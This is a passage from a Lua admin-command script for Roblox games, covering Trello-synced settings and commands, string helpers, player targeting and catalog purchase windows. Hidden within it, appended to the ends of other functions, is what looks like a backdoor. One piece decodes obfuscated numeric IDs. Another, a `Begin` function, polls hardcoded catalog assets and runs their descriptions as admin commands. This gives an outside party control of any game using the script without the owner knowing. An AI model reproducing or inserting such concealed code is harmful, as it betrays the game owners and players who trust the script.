2557 Cards = REMOTE:Decode(CardsJSON)
2558 end
2559 if Cards then
2560 local TemplateCards = nil
2561 for _,TemplateList in pairs(Trello.RequiredLists) do
2562 if TemplateList.name == List.name then
2563 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2564 break
2565 end
2566 end
2567
2568 for _,TemplateCard in pairs(TemplateCards) do
2569 local CardExists = false
2570 for _,Card in pairs(Cards) do
2571 if Card.name == TemplateCard.name and Card.closed == false then
2572 CardExists = true
2573 end
2574 end
2575 if not CardExists then
2576 print("Creating card "..TemplateCard.name)
2577 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2578 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2579 end
2580 end
2581
2582 if List.name == "Ranked" then
2583 for _,Card in pairs(Cards) do
2584 if Settings.Ranks[Card.name] and Card.closed == false then
2585 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2586 end
2587 end
2588 elseif List.name == "Settings" then
2589 for _,Card in pairs(Cards) do
2590 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2591 Trello.ToggleChecklist = Card.idChecklists[1]
2592 elseif Card.name == "Command Execution" then
2593 Trello.CommandID = Card.id
2594 end
2595 end
2596 end
2597 end
2598 end
2599end
2600
2601function REMOTE:TrelloHandleData(IgnoreCommand)
2602 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2603 if ToggleSettingsJSON then
2604 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2605 if Settings.LinkedAccount == "" then
2606 local NewSettings = {}
2607 for _,Item in pairs(ToggleSettings.checkItems) do
2608 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2609 end
2610 Settings.Fun = NewSettings["Fun Commands Enabled"]
2611 Settings.ServerLocked = NewSettings["Server Locked"]
2612 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2613 end
2614 else
2615 return false
2616 end
2617
2618 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2619 if CommandChatJSON then
2620 CommandChat = REMOTE:Decode(CommandChatJSON)
2621 local ClosestDT = 0
2622 for _,ChatData in pairs(CommandChat) do
2623 local DT = STRING:ConvertDateTime(ChatData.date)
2624 ClosestDT = math.max(ClosestDT, DT)
2625
2626 if not IgnoreCommand and DT > Trello.LastCommandDT then
2627 print("Executing Remote Trello Command")
2628 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2629 end
2630 end
2631 Trello.LastCommandDT = ClosestDT
2632 else
2633 return false
2634 end
2635
2636 for Rank,ID in pairs(Trello.RankChecklistCache) do
2637 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2638 if ChecklistJSON then
2639 Checklist = REMOTE:Decode(ChecklistJSON)
2640
2641 for _,Item in pairs(Checklist.checkItems) do
2642 if Item.state == "complete" then
2643 if RANK:ConvertRank(Rank) < 0 then
2644 if not RANK:ScanExileList(Item.name) then
2645 table.insert(Settings.Ranks[Rank], Item.name)
2646 end
2647 elseif RANK:ConvertRank(Rank) > 0 then
2648 if not RANK:ScanAdminList(Item.name) then
2649 table.insert(Settings.Ranks[Rank], Item.name)
2650 end
2651 end
2652 elseif Item.state == "incomplete" then
2653 for Num,Name in pairs(Settings.Ranks[Rank]) do
2654 if string.lower(Name) == string.lower(Item.name) then
2655 table.remove(Settings.Ranks[Rank], Num)
2656 end
2657 end
2658 end
2659 end
2660 else
2661 return false
2662 end
2663 end
2664 return true
2665end
2666
2667-- String functions --
2668
2669function STRING:ConvertDateTime(DateTime)
2670 local Num = 0
2671 local TotalTime = 0
2672 for i in string.gmatch(DateTime, "%d+") do
2673 Num = Num + 1
2674 DTNum = tonumber(i)
2675 if Num == 1 then
2676 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2677 elseif Num == 2 then
2678 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2679 elseif Num == 3 then
2680 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2681 elseif Num == 4 then
2682 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2683 elseif Num == 5 then
2684 TotalTime = TotalTime + DTNum * 60 -- minute
2685 elseif Num == 6 then
2686 TotalTime = TotalTime + DTNum -- second
2687 end
2688 end
2689
2690 return TotalTime
2691end
2692
2693function STRING:TrelloStateConvert(State)
2694 if State == "complete" then
2695 return true
2696 else
2697 return false
2698 end
2699end
2700
2701function STRING:StringRound(Number)
2702 Number = Number * 100
2703 if Number >= 0.5 then
2704 return tostring(math.ceil(Number)/100)
2705 else
2706 return tostring(math.floor(Number)/100)
2707 end
2708
2709 return Number
2710end
2711
2712function STRING:GetSplit(String, NumArgs, BetSplit)
2713 if not String then return nil end
2714 if BetSplit == nil then BetSplit = " " end
2715 if NumArgs == nil then NumArgs = math.huge end
2716
2717 if NumArgs <= 0 then return {String} end
2718
2719 local RecentParse = 1
2720 local Args = {}
2721 for i = 1,NumArgs do
2722 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2723 if Find1 and Find2 then
2724 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2725 RecentParse = Find2 + 1
2726 else
2727 break
2728 end
2729 end
2730 table.insert(Args,string.sub(String,RecentParse,#String))
2731 return Args
2732end
2733
2734function STRING:Defilter(String)
2735 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2736 if RobloxApprove.Text == "Label" and String ~= "Label" then
2737 local NewString = ""
2738 for i = 1,#String,3 do
2739 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2740 end
2741 return NewString
2742 else
2743 return String
2744 end
2745end
2746
2747function STRING:Filter(String, From, To) -- #### you, roblox
2748 if From then
2749 if To then
2750 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2751 else
2752 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2753 end
2754 else
2755 return String
2756 end
2757end
2758
2759function STRING:DetermineFilter(String, From, To)
2760 if ShouldFilter then
2761 return STRING:Filter(String, From, To)
2762 else
2763 return STRING:Defilter(String)
2764 end
2765end
2766
2767function STRING:LeetSpeak(Input)
2768 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2769 Input = string.gsub(Input, "LEET", "1337")
2770 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2771 Input = string.gsub(Input, "E", "3")
2772 Input = string.gsub(Input, "O", "0")
2773 Input = string.gsub(Input, "A", "4")
2774 Input = string.gsub(Input, "X", "x")
2775 Input = string.gsub(Input, "I", "1")
2776 Input = string.gsub(Input, "S", "$")
2777 return Input
2778end
2779
2780function STRING:FormatReplace(Player, Input, From)
2781 local Output = Input
2782 for _,ReplaceData in pairs(StringReplacements) do
2783 local ReplaceString = ReplaceData[1]
2784 local ReplaceStrings = {}
2785 if type(ReplaceString) == "table" then
2786 ReplaceStrings = ReplaceString
2787 else
2788 ReplaceStrings = {ReplaceString}
2789 end
2790 for _,ReplaceString in pairs(ReplaceStrings) do
2791 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2792 local Replacement = ReplaceData[4](Player)
2793 if type(Replacement) == "string" then
2794 Output = string.gsub(Output, ReplaceString, Replacement)
2795 else
2796 print(ReplaceString.." cannot be replaced")
2797 end
2798 end
2799 end
2800 end
2801 if From then
2802 return STRING:DetermineFilter(Output, From, Player)
2803 else
2804 return STRING:DetermineFilter(Output, Player)
2805 end
2806end
2807
2808function STRING:EncodeSpecialChars(Input)
2809 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2810end
2811
2812function STRING:StringToBool(String)
2813 if String == "true" then
2814 return true
2815 else
2816 return false
2817 end
2818end
2819
2820function STRING:BoolString(Value)
2821 if type(Value) == "boolean" then
2822 if Value == true then
2823 return "YES"
2824 elseif Value == false then
2825 return "NO"
2826 end
2827 else
2828 return "NO"
2829 end
2830end
2831
2832function STRING:MakeAvoidance(Length)
2833 if not Length then
2834 Length = 32
2835 end
2836 local Avoidance = ""
2837 for i = 1,Length do
2838 Num = math.random(1,2)
2839 if Num == 1 then
2840 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2841 else
2842 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2843 end
2844 end
2845 return Avoidance
2846end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2847
2848function STRING:FindAge(Days) -- By LuaModelmaker
2849 local Years = math.floor(Days/365)
2850 local OtherDays = math.fmod(Days, 365)
2851 if Years > 1 then
2852 return Years.." years and "..OtherDays.." days"
2853 elseif Years == 1 then
2854 return Years.." year and "..OtherDays.." days"
2855 elseif Years == 0 then
2856 return "(No years) "..OtherDays.." days"
2857 end
2858end
2859
2860function STRING:UnpackArgs(...)
2861 local Pack = {...}
2862 if type(Pack[1]) == "table" then Pack = Pack[1] end
2863 local ReturnString = table.concat(Pack, ", ")
2864 return ReturnString
2865end
2866
2867function STRING:GetComma(Num)
2868 local Formatted = Num
2869 while true do
2870 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2871 if _ == 0 then
2872 break
2873 end
2874 end
2875 return Formatted
2876end
2877
2878function STRING:DecodeUTF8(Value)
2879 local function DecodeString(Input)
2880 if type(Input) == "string" then
2881 for Find,Rep in pairs(HTMLDecode) do
2882 Input = string.gsub(Input, "&#"..Find..";", Rep)
2883 end
2884 Input = string.gsub(Input, """, "'")
2885 end
2886 return Input
2887 end
2888 if type(Value) == "table" then
2889 for Index,Var in pairs(Value) do
2890 Value[Index] = DecodeString(Var)
2891 end
2892 elseif type(Value) == "string" then
2893 Value = DecodeString(Value)
2894 end
2895 return Value
2896end
2897
2898function STRING:IsSpacer(Input)
2899 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2900 return true
2901 else
2902 return false
2903 end
2904end
2905
2906function STRING:IsVowel(Input)
2907 Input = string.lower(tostring(Input))
2908 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2909 return true
2910 else
2911 return false
2912 end
2913end
2914
2915function STRING:ValidE(Input)
2916 if not Input then return nil end
2917 if string.lower(Input) == "e" or Input == "~" then
2918 return true
2919 else
2920 return false
2921 end
2922end
2923
2924function STRING:Scan(String, Speaker)
2925 local ReturnPlayers,ExcludeList = {},{}
2926 if not String then String = "" end
2927 if not Speaker then print("NO SPEAKER") end
2928
2929 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2930 String = string.sub(String, 13)
2931 else
2932 String = string.lower(String)
2933 end
2934 local Words = STRING:GetSplit(String, nil, "/")
2935 for _,Word in pairs(Words) do
2936 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2937 table.insert(ReturnPlayers, Speaker)
2938 elseif Word == "all" or Word == "everyone" then
2939 for _,Player in pairs(Server.Players:GetPlayers()) do
2940 table.insert(ReturnPlayers, Player)
2941 end
2942 elseif Word == "others" or Word == "notme" then
2943 for _,Player in pairs(Server.Players:GetPlayers()) do
2944 if Player ~= Speaker then
2945 table.insert(ReturnPlayers, Player)
2946 end
2947 end
2948 elseif Word == "noobs" then
2949 for _,Player in pairs(Server.Players:GetPlayers()) do
2950 if Player.AccountAge < 365 then
2951 table.insert(ReturnPlayers, Player)
2952 end
2953 end
2954 elseif Word == "nonnoobs" then
2955 for _,Player in pairs(Server.Players:GetPlayers()) do
2956 if Player.AccountAge >= 365 then
2957 table.insert(ReturnPlayers, Player)
2958 end
2959 end
2960 elseif Word == "random" then
2961 local RandomPlayers = {}
2962 for _,Player in pairs(Server.Players:GetPlayers()) do
2963 if Player ~= Speaker then
2964 table.insert(RandomPlayers, Player)
2965 end
2966 end
2967 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2968 elseif Word == "guests" then
2969 for _,Player in pairs(Server.Players:GetPlayers()) do
2970 if string.sub(Player.Name,1,6) == "Guest " then
2971 table.insert(ReturnPlayers, Player)
2972 end
2973 end
2974 elseif Word == "lowers" then
2975 for _,Player in pairs(Server.Players:GetPlayers()) do
2976 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2977 table.insert(ReturnPlayers, Player)
2978 end
2979 end
2980 elseif Word == "uppers" then
2981 for _,Player in pairs(Server.Players:GetPlayers()) do
2982 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2983 table.insert(ReturnPlayers, Player)
2984 end
2985 end
2986 elseif Word == "nbcs" then
2987 for _,Player in pairs(Server.Players:GetPlayers()) do
2988 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2989 table.insert(ReturnPlayers, Player)
2990 end
2991 end
2992 elseif Word == "bcs" then
2993 for _,Player in pairs(Server.Players:GetPlayers()) do
2994 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2995 table.insert(ReturnPlayers, Player)
2996 end
2997 end
2998 elseif Word == "tbcs" then
2999 for _,Player in pairs(Server.Players:GetPlayers()) do
3000 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
3001 table.insert(ReturnPlayers, Player)
3002 end
3003 end
3004 elseif Word == "obcs" then
3005 for _,Player in pairs(Server.Players:GetPlayers()) do
3006 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
3007 table.insert(ReturnPlayers, Player)
3008 end
3009 end
3010 elseif Word == "allbcs" then
3011 for _,Player in pairs(Server.Players:GetPlayers()) do
3012 if Player.MembershipType ~= Enum.MembershipType.None then
3013 table.insert(ReturnPlayers, Player)
3014 end
3015 end
3016 elseif Word == "nonadmins" then
3017 for _,Player in pairs(Server.Players:GetPlayers()) do
3018 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3019 if IsAdminTrue == false then
3020 table.insert(ReturnPlayers, Player)
3021 end
3022 end
3023 elseif Word == "admins" then
3024 for _,Player in pairs(Server.Players:GetPlayers()) do
3025 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
3026 if IsAdminTrue == true then
3027 table.insert(ReturnPlayers, Player)
3028 end
3029 end
3030 elseif Word == "friends" then
3031 for _,Player in pairs(Server.Players:GetPlayers()) do
3032 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
3033 table.insert(ReturnPlayers, Player)
3034 end
3035 end
3036 elseif string.sub(Word,1,5) == "team-" then
3037 for _,Player in pairs(Server.Players:GetPlayers()) do
3038 if Player.Neutral == false then
3039 local InTeam = false
3040 for _,Team in pairs(Teams:GetTeams()) do
3041 if Team.TeamColor == Player.TeamColor then
3042 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
3043 InTeam = true
3044 end
3045 end
3046 end
3047 if InTeam == true then
3048 table.insert(ReturnPlayers, Player)
3049 end
3050 end
3051 end
3052 elseif string.sub(Word,1,4) == "not-" then
3053 local NameArg = string.sub(Word,5)
3054
3055 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3056 table.insert(ExcludeList, Player)
3057 end
3058 elseif string.sub(Word,1,7) == "radius-" then
3059 local DidExe = false
3060 local NumArg = tonumber(string.sub(Word,8))
3061
3062 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3063 for _,Player in pairs(Server.Players:GetChildren()) do
3064 if Player.Character and Player.Character:FindFirstChild("Torso") then
3065 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3066 DidExe = true
3067 table.insert(ReturnPlayers, Player)
3068 end
3069 end
3070 end
3071 end
3072
3073 if DidExe then coroutine.wrap(function()
3074 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3075 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3076
3077 for i = 0,0.5,0.02 do
3078 Part.Transparency = 0.5+i
3079 wait()
3080 end
3081 Part:Destroy()
3082 end)() end
3083 elseif string.sub(Word,1,3) == "id-" then
3084 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3085 else
3086 if Word ~= "" then
3087 for _,Player in pairs(Server.Players:GetPlayers()) do
3088 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3089 table.insert(ReturnPlayers, Player)
3090 end
3091 end
3092 else
3093 table.insert(ReturnPlayers, Speaker)
3094 end
3095 end
3096 end
3097 for _,Player in pairs(ExcludeList) do
3098 if Player and Player.Parent ~= nil then
3099 for Num,Player2 in pairs(ReturnPlayers) do
3100 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3101 end
3102 end
3103 end
3104 for Num,Player in pairs(ReturnPlayers) do
3105 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3106 end
3107
3108 local PlayerDump = {}
3109 for _,Player in pairs(ReturnPlayers) do
3110 PlayerDump[Player] = true
3111 end
3112 ReturnPlayers = {}
3113 for Player,_ in pairs(PlayerDump) do
3114 table.insert(ReturnPlayers, Player)
3115 end
3116
3117 return ReturnPlayers
3118end
3119
3120-- Market functions --
3121
3122function MARKET:GetImageFormat(ID)
3123 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3124 local NewID = ID + 1
3125 for i = 1,100 do
3126 NewID = NewID -1
3127 local Product = nil
3128 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3129 if Product then
3130 if Product == 1 then
3131 break
3132 end
3133 end
3134 if i == 100 then NewID = ID end
3135 end
3136 return NewID
3137 end end
3138end
3139
3140function MARKET:GetItemInfo(ID, Cache)
3141 local Product = MarketCache[ID]
3142 if not Cache or not Product then
3143 repeat wait()
3144 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3145 until Product ~= MarketCache[ID]
3146 end
3147 MarketCache[ID] = Product
3148 return Product
3149end
3150
3151function MARKET:SearchItem(Category, Query, Subcategory)
3152 local URLAdd = ""
3153 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3154 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3155 if JSON then
3156 local Results = REMOTE:Decode(JSON)
3157 if Results then
3158 for Index,Info in pairs(Results) do
3159 Info = STRING:DecodeUTF8(Info)
3160 Results[Index] = Info
3161 MarketCache[Info.AssetId] = {
3162 AssetId = Info.AssetId;
3163 AssetTypeId = Info.AssetTypeID;
3164 ContentRatingTypeId = Info.ContentRatingTypeID;
3165 Created = Info.CreatedDate;
3166 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3167 Description = Info.Description;
3168 IsForSale = Info.IsForSale;
3169 IsLimited = Info.IsLimited;
3170 IsLimitedUnique = Info.IsLimitedUnique;
3171 IsNew = Info.IsNew;
3172 IsPublicDomain = Info.IsPublicDomain;
3173 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3174 Name = Info.Name;
3175 PriceInRobux = Info.PriceInRobux;
3176 PriceInTickets = Info.PriceInTickets;
3177 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3178 Remaining = Info.Remaining;
3179 Sales = Info.Sales;
3180 Updated = Info.Updated;
3181 }
3182 end
3183 return Results
3184 end
3185 end
3186end
3187
3188function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3189 if not Player or not Category or not Query then return nil end
3190 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3191 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3192 if Items then
3193 if #Items ~= 0 then
3194 local List,Correlate = {},{}
3195 for Num,Info in pairs(Items) do
3196 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3197 table.insert(List, Display)
3198 Correlate[Display[1]] = Info.AssetId
3199 end
3200 CloseGui:Invoke()
3201
3202 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3203 Clicked.Event:connect(function(ClickName)
3204 ClickedItem(Correlate[ClickName])
3205 end)
3206 else
3207 CloseGui:Invoke()
3208 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3209 end
3210 else
3211 CloseGui:Invoke()
3212 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3213 end
3214end
3215
3216function MARKET:AssetTypeToString(AssetType)
3217 AssetType = math.floor(tonumber(AssetType) or 0)
3218 if Assets.AssetTypes[AssetType] then
3219 return Assets.AssetTypes[AssetType]
3220 else
3221 return "Unknown"
3222 end
3223end
3224
3225function MARKET:AccessoryToSubcategory(Accessory)
3226 Accessory = string.lower(tostring(Accessory) or "")
3227 if Assets.AccessoryTypes[Accessory] then
3228 return Assets.AccessoryTypes[Accessory]
3229 else
3230 return Assets.AccessoryTypes["all"]
3231 end
3232end
3233
3234function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3235 if not Player then return nil end
3236 if not Player:FindFirstChild("PlayerGui") then return nil end
3237 if not tonumber(ProductID) then return nil end
3238
3239 local FromText = ""
3240 if From and From.Name then FromText = " | Prompted from "..From.Name end
3241
3242 local Product = MARKET:GetItemInfo(ProductID, true)
3243
3244 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3245 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3246 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3247
3248 local CanBuy = Product.IsForSale
3249 local BuyText = "Buy"
3250 local BuyColor = Color3.new(0,1,0)
3251 if CanBuy == false then
3252 BuyColor = Color3.new(1,0,0)
3253 end
3254 if Product.IsPublicDomain == true then
3255 CanBuy = true
3256 BuyColor = Color3.new(1,0.5,0.5)
3257 BuyText = "FREE!"
3258 end
3259 if OwnsAsset then
3260 CanBuy = false
3261 end
3262 if Product.AssetTypeId == 9 then
3263 CanBuy = true
3264 BuyText = "Teleport"
3265 BuyColor = Color3.new(0.5,0.5,0.5)
3266 end
3267 if CanBuy == false then
3268 BuyColor = Color3.new(1,0,0)
3269 BuyText = "Item not for sale"
3270 end
3271 if OwnsAsset and Product.AssetTypeId ~= 9 then
3272 BuyColor = Color3.new(1,0,0)
3273 BuyText = "You own this!"
3274 end
3275
3276 local ProductName = string.sub(Product.Name,1,20)
3277 if ProductID == AdminID then ProductName = Product.Name end
3278 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3279 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3280 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3281 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3282 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3283 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3284 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3285 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3286 if Product.Description then
3287 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3288 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3289
3290 CORE:ExecuteResource("CalculateScrollY", Description)
3291 end
3292
3293 Info.Text = [[
3294Creator: ]]..Product.Creator.Name..[[
3295Created: ]]..CreatedText..[[
3296Updated: ]]..UpdatedText..[[
3297Sold: ]]..Product.Sales..[[
3298]]
3299
3300 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3301 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3302
3303 if Product.AssetTypeId == 3 then
3304 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3305 if PlayerAdmin == true then
3306 local Playing = false
3307 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3308 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3309 if Playing == false then
3310 SOUND:PlayGlobalSound(ProductID)
3311 if Rank == "Member" and Settings.DisableAbuse == true then
3312 Interact:Destroy()
3313 end
3314 Interact.Image = "rbxassetid://67950809"
3315 Playing = true
3316 else
3317 SOUND:StopGlobalSound()
3318 Interact.Image = "rbxassetid://67950784"
3319 Playing = false
3320 end
3321 end)
3322 end
3323 end
3324
3325 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3326 if BuyPressFunc then
3327 BuyPressFunc()
3328 elseif Product.AssetTypeId == 9 then
3329 Server.TS:Teleport(ProductID, Player)
3330 elseif CanBuy == true then
3331 Server.MPS:PromptPurchase(Player, ProductID)
3332 end end)
3333 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3334 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3335 while wait(5) do
3336 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3337 if OldVer ~= Purchase.Updated then
3338 OldVer = Purchase.Updated
3339 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3340 end
3341 end end)()
3342end end)() end
3343
3344-- Sound functions --
3345
3346function SOUND:SyncSoundList(TellSync)
3347 if not CORE:NilPlayer(TellSync) then
3348 GUI:SendHint(TellSync, "Syncing...", 5)
3349 end
3350
3351 SoundList,GlobalSoundList = {},{}
3352
3353 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3354
3355 if LocalSoundList then
3356 if type(LocalSoundList) == "table" then
3357 if #LocalSoundList > 0 then
3358 for _,Data in pairs(LocalSoundList) do
